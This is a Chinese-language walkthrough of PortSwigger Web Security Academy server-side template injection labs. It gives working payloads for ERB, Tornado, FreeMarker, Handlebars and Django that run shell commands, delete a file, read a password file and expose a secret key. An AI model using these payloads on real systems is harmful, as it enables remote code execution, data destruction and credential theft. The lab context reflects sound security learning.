Portswigger web security academy:Server-side template injection(SSTI)

Basic server-side template injection

  • 题目要求:

    这道题要删除morale.txt

    ERB:全称是Embedded RuBy,意思是嵌入式的Ruby,是一种文本模板技术。

  • 解题步骤:

    进来看都是商品,点了第一个,提示卖完了,然后看到url里有可控参数message,于是查了一下ERB的用法,打了个<%= 2*2 %>,回显4,说明这里存在ssti

    去查了ruby进行系统命令执行的方法 exec 'command',然后ls

    发现morale.txt就在该目录下

    <%= exec 'rm morale.txt' %>

  • 参考:

    https://www.trustedsec.com/blog/rubyerb-template-injection/

Basic server-side template injection (code context)

  • 题目要求:

    这是一个Tornado框架下的ssti,要求还是删除morale.txt

  • 解题步骤:

    题目给了提示,要注意preferred name功能点,我用burp抓包改了半天也不见回显( 我以为回显点在邮箱角的id处),然后去blog列表看了看,看到了评论功能,随手评论了一下

    有回显了,接下来就用repeater改参数,然后看评论

    {{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals['linecache'].os.popen('ls').read() }}

    发现morale.txt就在当前目录下

    {{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals['linecache'].os.popen('rm morale.txt').read() }}

    删除,然后刷新页面,pass

  • 参考:

    https://www.cnblogs.com/R3col/p/12746485.html

    (这里有个小插曲,我用这篇博客里的命令执行payload会提示“dict 没有属性 linecache”,于是改成了['xxx']形式)

Server-side template injection using documentation

  • 题目要求:

    要求还是一样,删除morale.txt

  • 解题步骤:

    这是个管理员账号,可以修改template,随便点一个商品,然后修改模板

    说明这里存在ssti

    然后在${}里随便输点内容,有报错,发现是freemarker,查了资料,打了个payload

    <#assign test="freemarker.template.utility.Execute"?new()> ${test("ls")}

    有效,直接删除文件

    <#assign test="freemarker.template.utility.Execute"?new()> ${test("rm morale.txt")}

  • 参考:

    https://blog.csdn.net/weixin_33967071/article/details/89831707

Server-side template injection in an unknown language with a documented exploit

  • 题目要求:

    还是一样,删除morale.txt

  • 解题步骤:

    先点一个商品,发现和前边做过的题一样,会提示已售空,提示信息在url中,可控,尝试{{4*4}}

    发现是Node.js+Handlebars模板引擎

    搜了一下Handlebars server-side template injection,看到一篇介绍,里面跳到了一篇关于HandlebarsSSTI导致RCE的文章,根据介绍和文章,构造payload:

    {{#with "s" as |string|}}
    {{#with "e"}}
    {{#with split as |conslist|}}
    {{this.pop}}
    {{this.push (lookup string.sub "constructor")}}
    {{this.pop}}
    {{#with string.split as |codelist|}}
    {{this.pop}}
    {{this.push "return require('child_process').exec('rm morale.txt');"}}
    {{this.pop}}
    {{#each conslist}}
    {{#with (string.sub.apply 0 codelist)}}
    {{this}}
    {{/with}}
    {{/each}}
    {{/with}}
    {{/with}}
    {{/with}}
    {{/with}}

    URLencode一下就可以了

Server-side template injection with information disclosure via user-supplied objects

  • 题目要求:

    要获取secret key

  • 解题步骤:

    先进入模板编辑页面,打个payload

    从提示信息可以看出是django框架,根据题目的提示,思路就有了通过某种方式找到django默认应用admin的model,再通过这个model获取settings对象,进而获得secret_key

    因为之前接触过django和tornado,稍微了解一些,尝试了一下{{ settings.SECRET_KEY}},成功拿到SECRET_KEY

Server-side template injection in a sandboxed environment

  • 题目描述

    这道题使用了Freemarker模板引擎,因为沙盒的实现很糟糕,所以存在ssti漏洞

    要求逃逸沙河并读取my_password.txt

  • 解题步骤

    google了一大圈,没有找到相关度很高的文章,先看看官方solution吧

    ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

    还是一样的思路,通过可调用对象来获取所有类,然后根据需求层层调用方法。

    返回的是ascii值,写个脚本解一下就行

    s = ''
    s = s.split(' ')
    for x in s:
    print(chr(int(x)), end='')

很多ssti的题目都是这种感觉,思路是有的,但是缺乏寻找目标函数的高效方法。感觉最高效的就是看相关的安全文章和报告,因为官方文档中很少会介绍这些安全相关的函数用法。

Portswigger web security academy:Server-side template injection(SSTI)的更多相关文章

  1. Portswigger web security academy:Reflected XSS

    Portswigger web security academy:Reflected XSS 目录 Portswigger web security academy:Reflected XSS Ref ...

  2. Portswigger web security academy:WebSockets

    Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...

  3. Portswigger web security academy:Cross-origin resource sharing (CORS)

    Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...

  4. Portswigger web security academy:XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

  5. Portswigger web security academy:Cross-site request forgery (CSRF)

    Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...

  6. Portswigger web security academy:OAth authentication vulnerable

    Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...

  7. Portswigger web security academy:Server-side request forgery (SSRF)

    Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...

  8. Portswigger web security academy:Clickjacking (UI redressing)

    Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...

  9. Portswigger web security academy:OS command injection

    Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...

随机推荐

  1. 虚拟机安装centos系统【史上最详细的】

    因为文章中有很多的图片,在博客园中还需要单张上传,所以使用了将markdown的文件链接存入网盘中让大家下载 windows系统请使用Typora软件打开 如果不知道Typora是什么软件,请在百度搜 ...

  2. Apache配置 11. 访问控制-user_agent

    (1)介绍 user_agent是指用户浏览器端的信息.比如你是用IE的还是Firefox浏览器的.有些网站会根据这个来调整打开网站的类型,如是手机的就打开wap,显示非手机的就打开PC常规页面. ( ...

  3. python基础学习之列表的功能方法

    列表:list 格式 li = [1,2,3,4,5,6] 列表内部随意嵌套其他格式:字符串.列表.数字.元组.字典. 列表内部有序,且内容可更改 a = [1,2,3,4]    a[0] = 5  ...

  4. 《数据持久化与鸿蒙的分布式数据管理能力》直播课答疑和PPT分享

    问:hi3861开发板支持分布式数据库吗? 目前,分布式数据库仅支持Java接口,因此Hi3861没有现成的API用于操作分布式数据库. 问:分布式数据管理包括搜索吗? 分布式数据管理包括融合搜索能力 ...

  5. WERTYU_键盘错位(JAVA语言)

    package 第三章; import java.util.Scanner; /*  *  把手放在键盘上时,稍不注意就会往右错一位.这样,输入Q会变成输入W,输入J会变成输入K等.        输 ...

  6. Java单例模式实现,一次性学完整,面试加分项

    单例模式是设计模式中使用最为普遍的一种模式.属于对象创建模式,它可以确保系统中一个类只产生一个实例.这样的行为能带来两大好处: 对于频繁使用的对象,可以省略创建对象所花费的时间,这对于那些重量级对象而 ...

  7. [Fundamental of Power Electronics]-PART I-3.稳态等效电路建模,损耗和效率-3.2 考虑电感铜损

    3.2 考虑电感铜损 可以拓展图3.3的直流变压器模型,来对变换器的其他属性进行建模.通过添加电阻可以模拟如功率损耗的非理想因素.在后面的章节,我们将通过在等效电路中添加电感和电容来模拟变换器动态. ...

  8. Java中注释的形式

    单行注释 单行注释 // #双斜杠 快捷键:Ctrl + / 多行注释 多行注释 /* */ #单斜杠星号 星号单斜杠 快捷键:Ctrl + shift + / 文档注释 多行注释 /** */ #单 ...

  9. editorconfig、eslint、prettier三者的区别、介绍及使用

    每次搭建新项目都少不了这些工具,但时间一久就忘记了,下次搭新项目时又要四处查官方文档,因此特此记录,主要内容是对这三个工具的理解,以及具体使用方式 editorconfig 理解 先看官网的定义: E ...

  10. k8s 安装 rabbitMQ 单机版

    rabbitMQ docker镜像使用rabbitmq:3.8-management service.yaml文件 apiVersion: v1 kind: Service metadata: nam ...